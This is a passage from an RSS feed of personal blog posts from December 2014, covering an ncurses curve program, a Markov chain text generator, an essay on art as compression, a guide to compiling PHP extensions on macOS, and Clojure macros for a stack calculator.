&lt;a href="https://en.wikipedia.org/wiki/Ncurses"&gt;&amp;ldquo;ncurses&amp;rdquo;&lt;/a&gt; library, back in the days when I
knew nothing much about anything.&lt;/p&gt;
&lt;p&gt;I decided to share the program anyway, and after half an hour of
cleaning the source and having fun with &lt;code&gt;CMake&lt;/code&gt;, the program still
builds on my Archlinux desktop.&lt;/p&gt;
&lt;p&gt;Short usage information:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Press &lt;code&gt;a&lt;/code&gt;/&lt;code&gt;A&lt;/code&gt; to decrease/increase the value of the &amp;ldquo;a&amp;rdquo; variable&lt;/li&gt;
&lt;li&gt;Press &lt;code&gt;b&lt;/code&gt;/&lt;code&gt;B&lt;/code&gt; to decrease/increase the value of the &amp;ldquo;b&amp;rdquo; variable&lt;/li&gt;
&lt;li&gt;Press &lt;code&gt;-&lt;/code&gt;/&lt;code&gt;+&lt;/code&gt; to decrease/increase the value of the &amp;ldquo;delta&amp;rdquo; variable,
resulting in the curve being rotated&lt;/li&gt;
&lt;li&gt;Press &lt;code&gt;q&lt;/code&gt; to quit the program&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The program is released under the &lt;a href="https://en.wikipedia.org/wiki/MIT_License"&gt;&amp;ldquo;MIT Licence&amp;rdquo;&lt;/a&gt;.  You may get the source from &lt;a href="http://github.com/Pseudomanifold/Lissacurses"&gt;the Lissacurses git
repository&lt;/a&gt;. This repository also
contains more detailed instructions for building the program.&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Fri, 26 Dec 2014 10:30:33 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2014/lissacurses/</guid></item><item><title>2014-12-26</title><link>https://ho.dges.online/pictures/2014-12-26/</link><description/><author>ho.dges.online</author><pubDate>Fri, 26 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-12-26/</guid></item><item><title>Markov chains for Christmas</title><link>https://bastian.rieck.me/blog/2014/markov_chains/</link><description>&lt;p&gt;I have always been fascinated by &lt;a href="https://en.wikipedia.org/wiki/Markov_chain"&gt;&amp;ldquo;Markov chains&amp;rdquo;&lt;/a&gt; for text
generation. Despite their simple structure, a sufficiently large body of text will result in
strikingly interesting products. Naturally, I had to provide my own implementation for simple text
generation.&lt;/p&gt;
&lt;h1 id="algorithm"&gt;Algorithm&lt;/h1&gt;
&lt;p&gt;My algorithm first tokenizes each input file. I consider each punctuation mark to be a token as well
because the results sound slightly more natural that way. This treatment requires me to check for
punctuation marks when writing the text to STDOUT because punctuation marks should of course not
introduce additional whitespace.&lt;/p&gt;
&lt;p&gt;Having tokenized the file, I extract prefixes of a certain length (say 2) and map them to the
subsequent. This yields a function from the set of prefixes to the set of potential candidate words.
To start the Markov chain generation, I choose a prefix at random and choose a new candidate using a
uniform distribution. Since I do not check for duplicates in the list of candidate words, I do not
need to take relative frequencies into account. The old prefix is updated to include the new
candidate. This yields a new prefix from which I may choose a new candidate, and so on.&lt;/p&gt;
&lt;p&gt;I opted for the lazy implementation and simple repeat this step until a predefined number of
iterations has been reached.&lt;/p&gt;
&lt;h1 id="examples"&gt;Examples&lt;/h1&gt;
&lt;p&gt;This is an example of a new Christmas song. Some of the lines appear to be taken verbatim from a
song because there is too little text for the algorithm to choose from. Still, the result is quite
nice:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Mary, and the bitter weather. Sire, the baby awakes,
But the fire is so hard to sleep tonight
They know that Santa&amp;rsquo;s on his sleigh
And ev&amp;rsquo;ry mother&amp;rsquo;s child is gonna spy
To see if reindeer really know how to fly
And so, I&amp;rsquo;m Telling you why: Santa Claus comes tonight.
Here were are as follows,
and on my back I fell;
A gent was riding by, in a pear tree.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Using the King James bible (and hence a larger text corpus), the result sounds rather ominous:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Restrained they the things that are desolate in the eyes of my people, then thou shalt take all
the inhabitants of the land of Judah, and fall; and they opened their mouths, that they might know
thee, O LORD, I shall eat of the giant.
21:19 And it came to pass.
24:13 And I went to Pilate, and they let her own, and the vail that is written, He that hath not
sent to the wilderness of Paran.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id="usage-and-code"&gt;Usage and code&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;$ mkdir build
$ cd build
$ cmake ../
$ make
$ markov --prefix 2 --iterations 10 ../Christmas.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anything that does not belong to either one of the &lt;em&gt;optional&lt;/em&gt; &lt;code&gt;--prefix&lt;/code&gt; or &lt;code&gt;--iterations&lt;/code&gt;
parameters is considered a filename. The program currently combines all files into a large database.
This is subject to change.&lt;/p&gt;
&lt;p&gt;This program is released under the &lt;a href="https://en.wikipedia.org/wiki/MIT_License"&gt;&amp;ldquo;MIT Licence&amp;rdquo;&lt;/a&gt;. You may get the
source from &lt;a href="http://github.com/Pseudomanifold/Markov"&gt;my git repository&lt;/a&gt;.&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Thu, 25 Dec 2014 17:00:21 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2014/markov_chains/</guid></item><item><title>State of the Snail, 2014</title><link>https://liza.io/state-of-the-snail-2014/</link><description>&lt;p&gt;It&amp;rsquo;s been a long year for snailing. My simulation got a name, my snails got a brain, and a dev environment was deployed outside of my poor little MacBook Air that&amp;rsquo;s been chugging away like crazy with all the server and VM crap I&amp;rsquo;ve had to host on it.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Thu, 25 Dec 2014 15:28:14 GMT</pubDate><guid isPermaLink="true">https://liza.io/state-of-the-snail-2014/</guid></item><item><title>Art as a form of compression</title><link>http://dimitarsimeonov.com/2014/12/25/art-as-a-form-of-compression</link><description>&lt;blockquote&gt;
  &lt;p&gt;When I met you in the summer,&lt;/p&gt;

  &lt;p&gt;to my heart beats sound,&lt;/p&gt;

  &lt;p&gt;we fell in love,&lt;/p&gt;

  &lt;p&gt;as the leaves turned brown&lt;/p&gt;

  &lt;p&gt;….&lt;/p&gt;

  &lt;p&gt;Summer - Calvin Harris&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I was relaxing and looking a tree whose leaves had become red-brown and this song came to my mind.  I like it. I’ve heard it several times before, and repeated the main parts a few times internally. But then I was a bit bothered by the “as the leaves turned brown”. Why is it there? What good does it serve? It didn’t really mean much but was one of the two most memorable parts of the song, at least for me. The other one being “met you in the summer”. These two parts were the most catchy for me. And “the leaves turned brown” didn’t really mean anything for the main story, or so it seemed at first.&lt;/p&gt;

&lt;p&gt;Then I thought, wait a minute, it actually means a bunch of things. It invokes a feeling of being outside, in the air, among nature. It is romantic. It explains which time of the year it happened - the part of autumn during which the trees start pigmenting and shedding their leaves. It explains the time granularity. The falling in love didn’t happen overnight, but developed over the course of weeks. It probably happened in a temperate climate area, as these are the ones which have such summer and autumn seasons. It probably happened during the day, that’s when the leaves are visible.&lt;/p&gt;

&lt;p&gt;Wow, that’s a lot of information packed in just four words, and I’m sure more things could be inferred. The compression rate is enormous. Calvin Harris, or whomever wrote the text, is able to communicate with us at a really really high rate. Shannon’s law of communication channels states that the maximum information transfer rate is the capacity of the communication channel times the mutual information. In this case, the capacity of the communication channel is four words. But because both we and the author share the same background information about what is romantic and how seasons work and about how long it takes the leaves to turn brown, we can get so much interesting knowledge out of these four words.&lt;/p&gt;

&lt;p&gt;But there is more. The text of the song makes most sense when the listener is part of a certain social environment. Certain songs only make sense in a certain country. Similar to how many jokes are really hard to translate in a different language, if a person comes from a different background than you, then your joke would probably not be funny to them, and they might not understand why you like the text of a certain song. When a song is only understandable within a certain community, at a certain time, the song embeds something unique about that community. The song is an embedding of that community in that point in time. The song, and it lyrics is a very compact way of representing the “culture” of this environment.&lt;/p&gt;

&lt;p&gt;Song lyrics and poetry are amazing in their ability to convey huge amount of information when the listener has shared background with the author. But they can also serve the opposite purpose - to &lt;em&gt;define&lt;/em&gt; the environment, the feelings of the author, the emotions, the culture, the lesson and the cause. For when we understand the words and the feelings we could learn something about the environment if we know the author’s feelings.&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;feelings, culture ---&amp;gt; lyrics
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Of course, we won’t learn &lt;em&gt;everything&lt;/em&gt; about the culture from a single song or a poem. But we will learn at least something. Chances are, that if we have a lot of songs, poems, movies, paintings or any kind of art from a given environment, we will learn a lot about it. All of these art forms preserve a given culture, moment or feeling by embedding it into some kind of physical material. In some cases this material can outlast the original environment. Homer’s “Iliad” has captured a lot of hystory and culture about ancient Greece. The original environment about the Troy war disappeared to the point where nobody believed it existed any more, until in the 19th century archaeologists inspired by the text of the Iliad looked for Troy and found its ruins ([1]).&lt;/p&gt;

&lt;p&gt;Given how much one could learn about Troy’s war from Iliad, and about any other environment from the art originating in it, I would say that art is a pretty badass form of compression. In just a few artifacts such as text, notes, or paint on canvas, it can capture an environment and save it for posterity.  Growing up fascinated with math, and later with computers, I’ve been enjoying art but also underestimating it a lot. Always thinking that it is mostly a form of entertainment, I’ve had fun, but didn’t take it very seriously. I guess I was wrong about it. Which is actually pretty exciting, because now I have the chance to learn so much about the different environments and the different lives and emotions in them, just from music, books, and paintings.&lt;/p&gt;

&lt;p&gt;[1] https://en.wikipedia.org/wiki/Heinrich_Schliemann&lt;/p&gt;</description><author>D13V</author><pubDate>Thu, 25 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2014/12/25/art-as-a-form-of-compression</guid></item><item><title>Install PHP's Built In Extensions in macOS</title><link>https://donatstudios.com/Install-PHP-Mcrypt-Extension-in-OS-X</link><description>&lt;p&gt;Should you run into errors related to missing &lt;code&gt;php.h&lt;/code&gt; or other &lt;code&gt;.h&lt;/code&gt; files, you should check out my post on &lt;a href="https://donatstudios.com/MojaveMissingHeaderFiles"&gt;fixing missing headers on macOS Mojave&lt;/a&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;These directions are for working with the &lt;strong&gt;native installation of PHP&lt;/strong&gt;. Your results may vary if you are using a brew, MAMP or otherwise installed version of PHP - I do not recommend this for those cases.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Important&lt;/strong&gt;: As you are altering the built-in version of PHP, you will need to ensure you have disabled System Integrity Protection before you begin. You can find instructions on how to do this here: &lt;a href="https://donatstudios.com/Disable-macOS-System-Integrity-Protection"&gt;How to: Disable macOS System Integrity Protection&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This was previously dedicated to installing the Mcrypt extension specifically, but in reality can be used to install any of the following extensions distributed with the PHP source.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bcmath       ftp          mcrypt       pdo_oci      simplexml    wddx
bz2          gd           mysqli       pdo_odbc     skeleton     xml
calendar     gettext      mysqlnd      pdo_pgsql    snmp         xmlreader
com_dotnet   gmp          oci8         pdo_sqlite   soap         xmlrpc
ctype        hash         odbc         pgsql        sockets      xmlwriter
curl         iconv        opcache      phar         spl          xsl
date         imap         openssl      posix        sqlite3      zip
dba          interbase    pcntl        pspell       standard     zlib
dom          intl         pcre         readline     sysvmsg
enchant      json         pdo          recode       sysvsem
exif         ldap         pdo_dblib    reflection   sysvshm
fileinfo     libxml       pdo_firebird session      tidy
filter       mbstring     pdo_mysql    shmop        tokenizer&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We need to install the required dependencies. If you are not already using &lt;a href="https://brew.sh/"&gt;Homebrew&lt;/a&gt; you will need it. &lt;/p&gt;
&lt;pre&gt;&lt;code class="language-console"&gt;$ brew install autoconf pkg-config&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;For certain extensions like mcrypt you may additionally need to install additional libraries such as:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-console"&gt;$ brew install libmcrypt&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next we will download the PHP source. Verify the exact version of PHP you are running. This can be retrieved as follows. The version is highlighted.&lt;/p&gt;
&lt;pre&gt;
&lt;code class="language-console"&gt;$ php --version
PHP &lt;strong&gt;&lt;em&gt;7.1.19&lt;/em&gt;&lt;/strong&gt; (cli) (built: Aug 17 2018 18:03:17) ( NTS )
Copyright (c) 1997-2018 The PHP Group&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;Now we move into a working directory and download the source &lt;strong&gt;making sure&lt;/strong&gt; to update the following for the version from above.  &lt;/p&gt;
&lt;pre&gt;
&lt;code class="language-console"&gt;$ cd /tmp
$ curl -L http://php.net/get/php-&lt;strong&gt;&lt;em&gt;{{php-version}}&lt;/em&gt;&lt;/strong&gt;.tar.bz2/from/this/mirror &gt; php.tar.bz2
$ open php.tar.bz2&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;Now we will compile and test the extension.&lt;/p&gt;
&lt;pre&gt;
&lt;code class="language-console"&gt;$ cd php-&lt;strong&gt;&lt;em&gt;{{php-version}}&lt;/em&gt;&lt;/strong&gt;/ext/&lt;strong&gt;&lt;em&gt;{{extension}}&lt;/em&gt;&lt;/strong&gt;
$ phpize
$ ./configure
$ make
$ make test
$ sudo make install&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;If all that goes well, finally we'll need to add the following to our php.ini - I usually add at it at the end of the file.&lt;/p&gt;
&lt;pre&gt;
&lt;code&gt;extension = &lt;strong&gt;&lt;em&gt;{{extension}}&lt;/em&gt;&lt;/strong&gt;.so&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;You can verify your installation with the following:&lt;/p&gt;
&lt;pre&gt;
&lt;code class="language-console"&gt;$ php --info | grep &lt;strong&gt;&lt;em&gt;{{extension}}&lt;/em&gt;&lt;/strong&gt;\\.&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;Lastly, depending on your setup now, you may want to restart Apache. &lt;/p&gt;
&lt;pre&gt;&lt;code class="language-console"&gt;$ sudo apachectl restart&lt;/code&gt;&lt;/pre&gt;</description><author>Donat Studios</author><pubDate>Wed, 24 Dec 2014 01:40:16 GMT</pubDate><guid isPermaLink="true">https://donatstudios.com/Install-PHP-Mcrypt-Extension-in-OS-X</guid></item><item><title>The Fall: Season 1</title><link>https://olshansky.info/tv/the_fall_season_1/</link><description>Olshansky's review of The Fall: Season 1</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 22 Dec 2014 06:50:09 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/the_fall_season_1/</guid></item><item><title>Deploying Gastropoda to Amazon Web Services - Never Forget</title><link>https://liza.io/deploying-gastropoda-to-amazon-web-services-never-forget/</link><description>&lt;p&gt;After my last blog post I decided that it was time to deploy Gastropoda to Amazon Web Services - namely Elastic Beanstalk, which utilizes an EC2 instance (reserved) and an RDS DB instance.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sun, 21 Dec 2014 15:39:59 GMT</pubDate><guid isPermaLink="true">https://liza.io/deploying-gastropoda-to-amazon-web-services-never-forget/</guid></item><item><title>Pythonista Power Pack</title><link>https://xavd.id/blog/post/pythonista-power-pack/</link><description>undefined&lt;br /&gt;&lt;br /&gt;&lt;a href="https://xavd.id/blog/post/pythonista-power-pack/"&gt;Read the whole thing&lt;/a&gt;.</description><author>The David Brownman Blog</author><pubDate>Sun, 21 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xavd.id/blog/post/pythonista-power-pack/</guid></item><item><title>Dino Fever!</title><link>https://rohitjha.com/blog/dino-fever/</link><description>&lt;p&gt;Sufficient time has passed since the last social experiment with the &amp;#x201c;owl&amp;#x201d; as a pet. This time I wanted to pay a tribute to either the Jurassic Park movies OR the Star Wars movie, both of which have recently released trailers for their upcoming movie in the series.&lt;/p&gt;</description><author>THINK@RJ</author><pubDate>Sat, 20 Dec 2014 16:47:00 GMT</pubDate><guid isPermaLink="true">https://rohitjha.com/blog/dino-fever/</guid></item><item><title>A Digital Thank You</title><link>https://bastibe.de/2014-12-20-thanks.html</link><description>&lt;p&gt;This is the time of the year when we reflect on our lives, and be thankful. We write Christmas cards to people we like, and celebrate with our loved ones. At my job, I am sitting in front of a screen all day, and I interacted not only with people, but also their software. So this is a column where I want to thank people I don't know for their delightful software:&lt;/p&gt;
&lt;h2&gt;&lt;a href="http://orgmode.org/"&gt;Org Mode&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Thank you, Carsten Dominik, Bastien Guerry, and &lt;a href="http://orgmode.org/org.html#History-and-Acknowledgments"&gt;everyone else&lt;/a&gt;, for this amazing piece of software! I have used Org mode for my &lt;a href="https://github.com/bastibe/org-journal"&gt;research journal&lt;/a&gt;, &lt;a href="http://bastibe.de/2013-11-13-blogging-with-emacs.html"&gt;this blog&lt;/a&gt;, &lt;a href="http://bastibe.de/2014-11-19-writing-a-thesis-in-org-mode.html"&gt;writing my thesis&lt;/a&gt;, general note-taking, and all-around planning tool. Thank you for making my life so much easier to manage!&lt;/p&gt;
&lt;h2&gt;&lt;a href="https://github.com/mgeier"&gt;Matthias Geier&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Thank you, Matthias, for your many contributions to &lt;a href="https://github.com/bastibe/PySoundFile"&gt;PySoundFile&lt;/a&gt; and &lt;a href="https://github.com/bastibe/PySoundCard"&gt;PySoundCard&lt;/a&gt;, and our many enlightening discussions. You have brought these two projects far further than I would have ever gone, and I learned a lot in the process! Also, a quick thank you to Github, which made our collaboration effortless and enjoyable.&lt;/p&gt;
&lt;h2&gt;&lt;a href="http://fishshell.com/"&gt;fish&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Thank you, &lt;a href="http://ridiculousfish.com/"&gt;Ridiculous Fish&lt;/a&gt;, for bringing sane scripting, glorious VGA color, and general awesomeness to the command line! Finally, a shell that does not drown you in messy configuration, crazy syntax, and archaic conventions. Finally, a shell with beautiful documentation, and sane defaults! Thanks for all the fish!&lt;/p&gt;
&lt;h2&gt;&lt;a href="http://www.getsync.com/"&gt;BitTorrent Sync&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Dropbox is awesome, no doubt, but it still feels awkward to upload all my documents to a faceless corporation. Synchronizing data between computers is still hard--or rather, used to be hard. Because this year I discovered btsync. I now have a real off-site backup and file synchronization system fully under my own control, and it took all of ten minutes to set up. Thank you!&lt;/p&gt;
&lt;h2&gt;&lt;a href="http://x-plane.com"&gt;X-Plane&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This year, I got back into an old hobby of mine: Flight Simulation. In particular, this year I re-discovered X-Plane, and the marvelous and free sceneries by &lt;a href="http://simheaven.org/"&gt;SimHeaven&lt;/a&gt; and &lt;a href="http://www.alpilotx.net/"&gt;Andras Fabian&lt;/a&gt;. Sadly, there doesn't seem to be any pilot school around where I can complete my real-world pilot's license, so flight simulation will have to do. But with this simulator, I am enjoying flight simulation more than ever!&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Sat, 20 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2014-12-20-thanks.html</guid></item><item><title>moved to new static site generator (again)</title><link>https://zserge.com/posts/new-site-generator2/</link><description>As you may have noticed, the site has changed its look. That&amp;rsquo;s because I made a small rewrite and it resulted in a new static site generator. It&amp;rsquo;s my another NIH product, this time it&amp;rsquo;s written in Go.
stash away I used stash before. It was written in UNIX Shell and was really perfect for my needs. Then it became slower and slower. The reason is that it could not track the timestamps of the web pages so it regenerated every page every time.</description><author>zserge's blog</author><pubDate>Sat, 20 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://zserge.com/posts/new-site-generator2/</guid></item><item><title>Advertisers.io</title><link>https://solomon.io/advertisersio/</link><description>Advertisers is an online community for those working in the marketing and advertising industry. I work for a medium-sized advertising agency called Red Square.</description><author>Sam Solomon</author><pubDate>Sat, 20 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://solomon.io/advertisersio/</guid></item><item><title>RPN Calc Part 10 – Macros and the Intent of the Code</title><link>https://mschaef.com/ksm/rpncalc_10</link><description>&lt;p&gt;One of the key attributes I look for when writing and reviewing code is that code should express the intent of the developer more than the mechanism used to achieve that intent. In other words, code should read as much as possible as if it were a description of the end goal to be achieved. The mechanism used to achieve that goal is secondary.&lt;/p&gt;&lt;p&gt;Over the years, I’ve found this emphasis improves the quality of a system by making it easier to write correct code. By removing the distraction of the mechanism underneath the code: it’s easier for the author of that code to stay in the mindset of the business process they’re implementing. To see what I mean, consider how hard it would be to query a SQL database if every query was forced to specify the details of each table scan, index lookup, sort, join, and filter. The power of SQL is that it eliminates the mechanism of the query from consideration and lets a developer focus on the logic itself. The computer handles the details. Compilers do the same sort of thing for high level languages: coding in Java means not worrying about register allocation, machine instruction ordering, or the details of free memory reclamation. In the short-term, these abstractions make it easier to think about the problem I’m being paid to solve. Over a longer time scale, the increased distance between the intent and mechanism makes it easier to improve the performance or reliability of a system. Adding an index can transparently change a SQL query plan and Java seamlessly made the jump from an interpreter to a compiler.&lt;/p&gt;&lt;p&gt;One of the unique sources of power in the Lisp family of languages is a combination of features that makes it easier build the abstractions necessary to elevate code from mechanism to intent. The combination of dynamic typing, higher order functions, good data structures, and macros can make it possible to develop abstractions that allow developers to focus more on what matters, the intent of the paying customer, and less on what doesn’t. In this article, I’ll talk about what that looks like for the calculator example and how Clojure brings the tools needed to focus on the intent of the code.&lt;/p&gt;&lt;p&gt;To level set, I’m going to go back to the calculator’s addition command defined in the &lt;a href="/ksm/rpncalc_09"&gt;last installment&lt;/a&gt; of this series.:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="clojure"&gt;&lt;pre&gt;(&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;fn&lt;/span&gt;&lt;/span&gt; [ { [x y &amp;amp; more] &lt;span class="hljs-symbol"&gt;:stack&lt;/span&gt; } ]
   { &lt;span class="hljs-symbol"&gt;:stack&lt;/span&gt; (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;cons&lt;/span&gt;&lt;/span&gt; (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;+&lt;/span&gt;&lt;/span&gt; y x) more)})
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;Given a stack, this command removes the top two arguments from the stack, adds them, and pushes the result back on top of the stack. This stack:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="clojure"&gt;&lt;pre&gt;&lt;span class="hljs-number"&gt;1&lt;/span&gt; &lt;span class="hljs-number"&gt;2&lt;/span&gt; &lt;span class="hljs-number"&gt;5&lt;/span&gt; &lt;span class="hljs-number"&gt;7&lt;/span&gt;
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;becomes this stack:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="clojure"&gt;&lt;pre&gt;&lt;span class="hljs-number"&gt;3&lt;/span&gt; &lt;span class="hljs-number"&gt;5&lt;/span&gt; &lt;span class="hljs-number"&gt;7&lt;/span&gt;
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;While the Clojure addition command is shorter than the Java version, the Clojure version still includes a number of assumptions about the machinery used in the underlying implementation:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Calculator state is passed to the command as a map with a key &lt;code&gt;:stack&lt;/code&gt; that holds the stack.&lt;/li&gt;&lt;li&gt;The input stack can be destructured as a sequence.&lt;/li&gt;&lt;li&gt;The output state is represented in a map allocated at the end of the command’s execution.&lt;/li&gt;&lt;li&gt;The output stack is a sequence of cons cells and the output of this command is stored in a newly allocated cell.&lt;/li&gt;&lt;li&gt;The command has a single point in time at which it begins execution.&lt;/li&gt;&lt;li&gt;The command has a single point in time at which it ends execution.&lt;/li&gt;&lt;li&gt;The execution of this command cannot overlap with other commands that manipulate the stack.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Truth be told, there isn’t a single item on this list that’s essential to the semantics of our addition command. Particularly in the case where a sequence of commands is linked together to make a composite command, every item on that list might be incorrect. This is because the state of the stack between elements of a composite command might not ever be directly visible to the user. Keeping that in mind, what would be nice is some kind of shorthand notation for stack operations that hides these implementation details. This type of notation would make it possible to express the intent of a command without the machinery. Fortunately, the programming language Forth has a stack effect notation often used in comments that might do the trick.&lt;/p&gt;&lt;p&gt;Forth is an interesting and unique language with a heavy dependency on stack manipulation. One of the coding conventions sometimes used in Forth development is that every ‘composite command’ (‘word’, in Forth terminology) is associated with a comment that shows a picture of the stack at the beginning and end of the command’s execution. For addition, such a comment might look like this:&lt;/p&gt;&lt;div class="codeblock error"&gt;&lt;code class="text"&gt;&lt;pre&gt;: add ( x y -- x+y ) .... ;
&lt;/pre&gt;&lt;/code&gt;&lt;div class="error-message"&gt;Code found missing language specification while processing file: ksm/rpncalc_10.md&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This comment shows that the command takes two arguments off the top of the stack, ‘x’ and ‘x’, and returns a single value ‘x+y’. None of the details regarding how the stack is implemented are included in the comment. The only thing that’s left in the comment are the semantics of the operation. This is more or less perfect for defining a calculator command. Mapped into Clojure code, it might look something like this:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="clojure"&gt;&lt;pre&gt;(&lt;span class="hljs-name"&gt;stack-op&lt;/span&gt; [x y] [(&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;+&lt;/span&gt;&lt;/span&gt; x y)])
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;This Clojure form indicates a stack operation and has stack pictures that show the top of the stack both before and after the evaluation of the command. The notation is short, yes, but it’s particularly useful because it doesn’t overspecify the command by including the details of the mechanics. All that’s left in this notation is the intent of the command.&lt;/p&gt;&lt;p&gt;Of course, the mechanics of the command still need to be there for the command to work. The magic of macros in Clojure is that they make it easier to bridge the gap from the notation you want to the mechanism you need. Fortunately, all it takes in this case is a short three line macro that tells Clojure how to reconstitute a function definition from our new stack-op notation:&lt;/p&gt;&lt;div class="codeblock"&gt;&lt;code class="clojure"&gt;&lt;pre&gt;(&lt;span class="hljs-keyword"&gt;defmacro&lt;/span&gt; &lt;span class="hljs-title"&gt;stack-op&lt;/span&gt; [ before after ]
  `(&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;fn&lt;/span&gt;&lt;/span&gt; [ { [ ~@before &amp;amp; more# ] &lt;span class="hljs-symbol"&gt;:stack&lt;/span&gt; } ]
     { &lt;span class="hljs-symbol"&gt;:stack&lt;/span&gt; (&lt;span class="hljs-name"&gt;&lt;span class="hljs-built_in"&gt;concat&lt;/span&gt;&lt;/span&gt; ~after more# ) } ) )
&lt;/pre&gt;&lt;/code&gt;&lt;/div&gt;&lt;p&gt;Squint your eyes, and the structure of the original Clojure add command function should be visible within the macro definition. That’s because this macro really serves as a kind of IDE snippet hosted by the compiler, providing blanks to be filled in with the macro parameters. Multiple calls to a macro are like expanding the same snippet multiple times with different parameters. The only difference is that when you expand a snippet within an IDE, it only helps you when you’re entering the code into the editor; the relationship between a block of code in the editor and the snippet from which it came is immediately lost. Macros preserve that relationship, and thanks to Lisp’s syntax, do so in a way that avoids some of the worst issues that plague C macros. This gives us both the more ‘intentional’ notation, as well as the ability to later change the underlying implementation in more profound ways.&lt;/p&gt;&lt;p&gt;Before I close the post, I should mention that there are ways to approach this type of design in other languages. In C, the preprocessor provides access to compile-time macro expansion, and for Java and C#, code generation techniques are well accepted. For JavaScript, any of the higher level languages that compile into JavaScript can be viewed as particularly heavy-weight forms of this technique. Where Lisp and Clojure shine is that they make it easy by building it into the language directly. This post only scratches the surface, but the next post will continue the theme by exploring how we can improve the calculator now that we have a syntax that more accurately expresses our intent.&lt;/p&gt;</description><author>Mike Schaeffer</author><pubDate>Sat, 20 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://mschaef.com/ksm/rpncalc_10</guid></item><item><title>Screenshot Saturday 203</title><link>https://etodd.io/2014/12/19/screenshot-saturday-203/</link><description>&lt;p&gt;Big update this week!&lt;p&gt;
&lt;p&gt;
	My voxel renderer now has the capability to overlay everything with any texture I want.
	I'm using it on a new set of interconnected winter levels.
	This way I don't have to manually come up with a frosty version of each texture.
&lt;/p&gt;
&lt;div class="video"&gt;&lt;video loop="loop"&gt;&lt;source src="https://etodd.io/assets/SaneNaturalBasenji.mp4" /&gt;&lt;/video&gt;&lt;/div&gt;
&lt;p&gt;Without giving away too much, this week I built a new system that has implications for both puzzle solving and movement mechanics.&lt;/p&gt;</description><author>Evan Todd</author><pubDate>Fri, 19 Dec 2014 23:00:00 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/12/19/screenshot-saturday-203/</guid></item><item><title>Changing hostname in SmartOS Zone</title><link>https://caiustheory.com/changing-hostname-in-smartos-zone/</link><description>&lt;p&gt;Given a non-global zone in SmartOS that we want to change the hostname of, we need to make sure to edit the following files to change it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/etc/hosts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/etc/nodename&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A quick way to do that is with &lt;code&gt;sed&lt;/code&gt; &lt;em&gt;(renaming &amp;ldquo;fred&amp;rdquo; to &amp;ldquo;beth&amp;rdquo; here)&lt;/em&gt;:&lt;/p&gt;
